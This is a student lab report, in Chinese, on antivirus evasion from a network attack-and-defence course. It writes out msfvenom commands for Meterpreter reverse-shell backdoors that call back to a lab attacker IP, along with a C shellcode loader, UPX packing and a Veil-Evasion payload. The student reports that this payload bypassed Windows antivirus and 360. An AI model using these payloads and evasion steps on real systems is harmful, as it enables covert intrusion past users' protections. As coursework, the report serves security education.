20175103 王伟泽 《网络对抗技术》Exp3免杀原理与实践
一、实验预备知识
1.msf编码器
于本博客作业二中有所介绍。
2.veil
3.加壳
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
4.恶意代码检测机制
一般分为基于特征和基于行为两种检测原理,具体又可分为:
1)特征码识别法
这是一种最常见的检测方法,它依据恶意代码中特有的特征代码检测,这些字节序列是不太可能出现在正常文件中的,通过查询比较即可检测出一批恶意软件。
2)启发式检测技术
启发式扫描技术检测程序,实际上就是以特定的方式实现对代码行为的检测,通过对代码行为的观测来推测代码动机。从工作原理上又可分为静态启发和动态启发。
3)行为特征识别法
利用病毒的特有行为特征来检测病毒的方法,称为行为检测法。通过对病毒多年的观察、研究,能够总结出一些行为是病毒特有的,也就是行为特征,利用这些特征可以有效区分病毒和正常程序。
5.免杀技术
就是一种使木马病毒免于被杀毒软件查杀的方法。其所用的方法也非常多,包括反汇编、逆向工程、系统漏洞等黑客技术。常用的方法包括病毒改写、改变特征码、加壳加密等多种方法。
二、实验内容
1.正确使用msf编码器,msfvenom生成如jar之类的其他文件
1)正确使用msf编码器
实验二中已经生成了后门软件20175103backdoor.exe
,然后使用VirusTotal
对其进行检测。
扫描结果如下:
被57个杀毒软件检测到,明显失败,下面我们对其进行一些加工。
使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.1.109 LPORT=5103 -f exe > 20175103backdoor1.exe
指令,来对后门程序进行一次次编码。其中-e
选择编码器,-b
选择待清除字符,清除x00
是因为shellcode中以x00
作为结束符。
之后再次使用VirusTotal
对其进行检测,检测结果如下
依然被57个杀软检测到,失败。
之后使用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.196.133 LPORT=5121 -f exe > 20175103backdoor2.exe
其中使用-i
设置10次编码次数。
生成文件20175103backdoor2.exe
后同样使用VirusTotal对其进行检测。结果如下
被56个杀软检测到,同样失败。
单纯的编码并不能做到免杀的效果。原因主要两点
- 编码后的解码总会有一部分固定的解码部分加入,杀软只要以它为目标就能够准确检测到。
- msfvenom中exe文件都是以固定的模板生成的,杀软针对这类模板加以侦测,就可以找到恶意代码。
2)msfvenom生成如jar之类的其他文件
使用指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.109 LPORT=5103 x> 20175103backdoor_java.jar
生成java后门软件。
使用VirusTotal来检测该文件。结果如下。
被35个杀软检测到,不成功。
3)mfsvenom生成php文件
使用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.196.133 LPORT=5121 x> 20175103backdoor.php
生成PHP后门程序。
使用VirusTotal来检测该文件,结果如下。
只有三个杀软检测到了该恶意软件,说明PHP是有效的免杀方式。
4)mfsvenom生成Android文件
使用指令msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.196.133 lport=5121 x> 20175103Android_backdoor.apk
来生成Android后门程序。
使用VirusTotal来检测该文件,结果如下。
有26个杀软检测到了该恶意软件,失败。
2.使用veil-evasion生成后门程序及检测
这部分是我实验中花费时间最长的,这里在下载veil过程中我遇到了很多问题,花费几天时间,参考不同博客,尝试不同方法最终才成功下载。这里我成功的方法借鉴于本班符嘉讯同学所使用的方法,及更换下载源代码中的云仓库,这样才以正常的速度下好了veil。
安装过程如下:
最终安装成功。
接下来是实验内容。
下载好veil后,输入veil
指令,进入veil界面,输入use evasion
进入veil-evasion界面。
输入指令use c/meterpreter/rev_tcp.p
进入设置界面。
使用指令set LHOST 192.168.1.109
设置反弹连接IP(即攻击机的IP地址),使用指令set LPORT 5103
设置端口为5103
,最后使用options
查看设置,可以看到文件是用c语言写的。
各项设置完成后,使用指令generate
来生成文件,下一步需要自己设置该文件的名称,我这里使用20175103_veil_c
。可以看到它的保存路径为/var/lib/veil/output/compiled/20175103_veil_c
。
同样使用VirusTotal来检测该文件。
可以看到有47个杀软检测到了,失败。
3.使用shellcode编程
使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.109 LPORT=5103 -f c
来生成一段shellcode。
创建一个c文件20175103veil.c
,将生成的shellcode赋值到里面内容如下。
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
........
........
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
使用指令i686-w64-mingw32-g++ 20175121.c -o 20175121.exe
,将c文件编译为可执行文件。
此处,我曾遇到以下问题,后面经过不同的尝试,发现原来是因为创建的名称冲突,更换名称后即成功。
使用VirusTotal检测该文件,结果如下。
被43个检测到,失败。
将其放入windows环境中,被杀毒软件发现。
4.使用加壳工具
使用压缩壳:UPX
以上面所得到的恶意软件``为目标加壳,输入指令upx 20175103veil1.exe -o yb.upxed.exe
同样使用VirusTotal检测该文件。
被38个检测出来,失败,因为这种壳已经被大部分杀毒软件所识别。
5.通过组合应用各种技术实现恶意代码免杀(课堂未使用方法尝试)
输入veil
,启动veil,输入use evasion
进入evasion,输入list
可以查看可用的有效payload。这里我使用第三十一个有效荷载,它是python/shellcode_inject/base64_substitution.py
,是Python下shellcode在base64编码的一种。输入use python/shellcode_inject/base64_substitution.py
来进行设置。配置用户名后,其他全部默认。后输入generate
生成。
输入要选择的平台,我这里选择2 msfvenom
,后默认,输入回车,后填写反弹连接的IP192.168.1.109
和端口号5103
,其他默认,输入名称。
我这里输入20175103base6464
。之后选择生成的文件类型,选择2
生成一个exe
文件。可以看到已经生成成功,同时生成setup.py
和runme.bat
,他们的保存位置为/var/lib/veil/output/source/
,生成的exe文件也保存在了/var/lib/veil/output/handlers/
,后在msfconsole中输入指令cat veil_py_base64.rc
。
使用VirusTotal检测setup.py和runme.bat,结果如下。
可以看到,两个程序都检测不到,成功。
把他们放到windows10下测试。
可以看到成功免杀!
在Linux中输入指令msfconsole
进入msf控制界面,使用与实验二一样的方法进入监听模式,等待回连。
成功连接到,可以使用dir
查看到被攻击机。
6.用另一台电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
我所攻击的另一台电脑系统是Windows7,其中的杀毒软件为360,版本为6.0。
相同的方法,最终反弹连接成功。
实验完成!
三、问题回答
1.基础问题回答
1)杀软是如何检测出恶意代码的?
常用的有三种原理:
- 基于特征码查杀,建立起一个病毒特征收集库,如果程序特征符合则直接查杀。
- 启发式查杀,对程序进行模拟运算,查看程序是否异常。
- 基于行为特征查杀,一旦发现程序的行为异常即开始检查。
2)免杀是做什么?
免杀是使用一些黑客技术或者计算机漏洞使得病毒木马可以逃脱杀毒软件的检测查杀,成功进入计算机,就是做一些对病毒木马的保护隐藏。
3)免杀的基本方法有哪些?
- 改变行为特征码,改变机器指令。
- 改变行为,如通信模式、操作模式等。
- 加壳免杀。
- 使用有漏洞应用。
- 诱骗靶机关闭杀毒软件,变相达到免杀效果。
2.实验总结
本次实验,是我耗时最长时间的,它也让我意识到“纸上得来终觉浅,绝知此事要躬行”的道理,任何步骤都是有可能出现错误的,在做实验前,我绝对想不到最大的问题竟然出现在安装上面,最终完成了本次实验也试感慨万千。此外,完成本次实验,也让我加深对后门软件的理解,对无论是查杀还是免杀都有了自己初步的认识,相信在以后这部分实践知识会派上用场,期待下一次的实验。